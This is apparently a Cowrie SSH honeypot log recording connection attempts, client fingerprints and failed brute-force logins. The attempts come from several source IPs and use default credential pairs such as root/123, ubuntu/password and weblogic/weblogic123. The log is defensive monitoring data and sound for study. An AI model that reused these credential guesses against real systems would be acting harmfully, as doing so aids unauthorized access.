{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:33.376737Z","src_ip":"152.32.189.59","session":"cb33c472ce93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superadmin","password":"123456","message":"login attempt [superadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:34.227988Z","src_ip":"152.32.189.59","session":"cb33c472ce93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34158,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a79aa5adc01","protocol":"ssh","message":"New connection: 176.65.132.254:34158 (10.17.0.5:22) [session: 7a79aa5adc01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:34.638489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:34.644783Z","src_ip":"176.65.132.254","session":"7a79aa5adc01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:34.736810Z","src_ip":"176.65.132.254","session":"7a79aa5adc01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:34.998206Z","src_ip":"176.65.132.254","session":"7a79aa5adc01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:35.453412Z","src_ip":"152.32.189.59","session":"cb33c472ce93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:36.083307Z","src_ip":"176.65.132.254","session":"7a79aa5adc01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34170,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0c23704469b","protocol":"ssh","message":"New connection: 176.65.132.254:34170 (10.17.0.5:22) [session: e0c23704469b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:38.916853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:38.921661Z","src_ip":"176.65.132.254","session":"e0c23704469b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:39.003899Z","src_ip":"176.65.132.254","session":"e0c23704469b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:39.251023Z","src_ip":"176.65.132.254","session":"e0c23704469b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:40.348951Z","src_ip":"176.65.132.254","session":"e0c23704469b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54190,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5279982b1ad","protocol":"ssh","message":"New connection: 176.65.132.254:54190 (10.17.0.5:22) [session: b5279982b1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:42.927615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:42.933035Z","src_ip":"176.65.132.254","session":"b5279982b1ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:43.141904Z","src_ip":"176.65.132.254","session":"b5279982b1ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:43.580796Z","src_ip":"176.65.132.254","session":"b5279982b1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.478477478027344,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:44.199099Z","src_ip":"38.54.119.93","session":"32a6f0c265b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:44.666649Z","src_ip":"176.65.132.254","session":"b5279982b1ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.87.35","src_port":44382,"dst_ip":"10.17.0.5","dst_port":22,"session":"94fd4ef0b6b1","protocol":"ssh","message":"New connection: 115.190.87.35:44382 (10.17.0.5:22) [session: 94fd4ef0b6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:46.737083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:46.741532Z","src_ip":"115.190.87.35","session":"94fd4ef0b6b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:46.979215Z","src_ip":"115.190.87.35","session":"94fd4ef0b6b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54208,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead3bca8c459","protocol":"ssh","message":"New connection: 176.65.132.254:54208 (10.17.0.5:22) [session: ead3bca8c459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:47.335996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:47.340643Z","src_ip":"176.65.132.254","session":"ead3bca8c459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:47.433551Z","src_ip":"176.65.132.254","session":"ead3bca8c459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:47.681939Z","src_ip":"176.65.132.254","session":"ead3bca8c459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:48.767338Z","src_ip":"176.65.132.254","session":"ead3bca8c459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54228,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e92ca369c4","protocol":"ssh","message":"New connection: 176.65.132.254:54228 (10.17.0.5:22) [session: c8e92ca369c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:51.673844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:51.678865Z","src_ip":"176.65.132.254","session":"c8e92ca369c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:51.761426Z","src_ip":"176.65.132.254","session":"c8e92ca369c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:52.041052Z","src_ip":"176.65.132.254","session":"c8e92ca369c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:53.261753Z","src_ip":"176.65.132.254","session":"c8e92ca369c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58726,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d26cba77d8","protocol":"ssh","message":"New connection: 176.65.132.254:58726 (10.17.0.5:22) [session: 87d26cba77d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:56.035903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:56.041106Z","src_ip":"176.65.132.254","session":"87d26cba77d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:56.126403Z","src_ip":"176.65.132.254","session":"87d26cba77d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:56.371406Z","src_ip":"176.65.132.254","session":"87d26cba77d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:57.456243Z","src_ip":"176.65.132.254","session":"87d26cba77d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58728,"dst_ip":"10.17.0.5","dst_port":22,"session":"dee12550f83b","protocol":"ssh","message":"New connection: 176.65.132.254:58728 (10.17.0.5:22) [session: dee12550f83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:00.237843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:00.275070Z","src_ip":"176.65.132.254","session":"dee12550f83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:59:00.738528Z","src_ip":"176.65.132.254","session":"dee12550f83b","protocol":"ssh"}
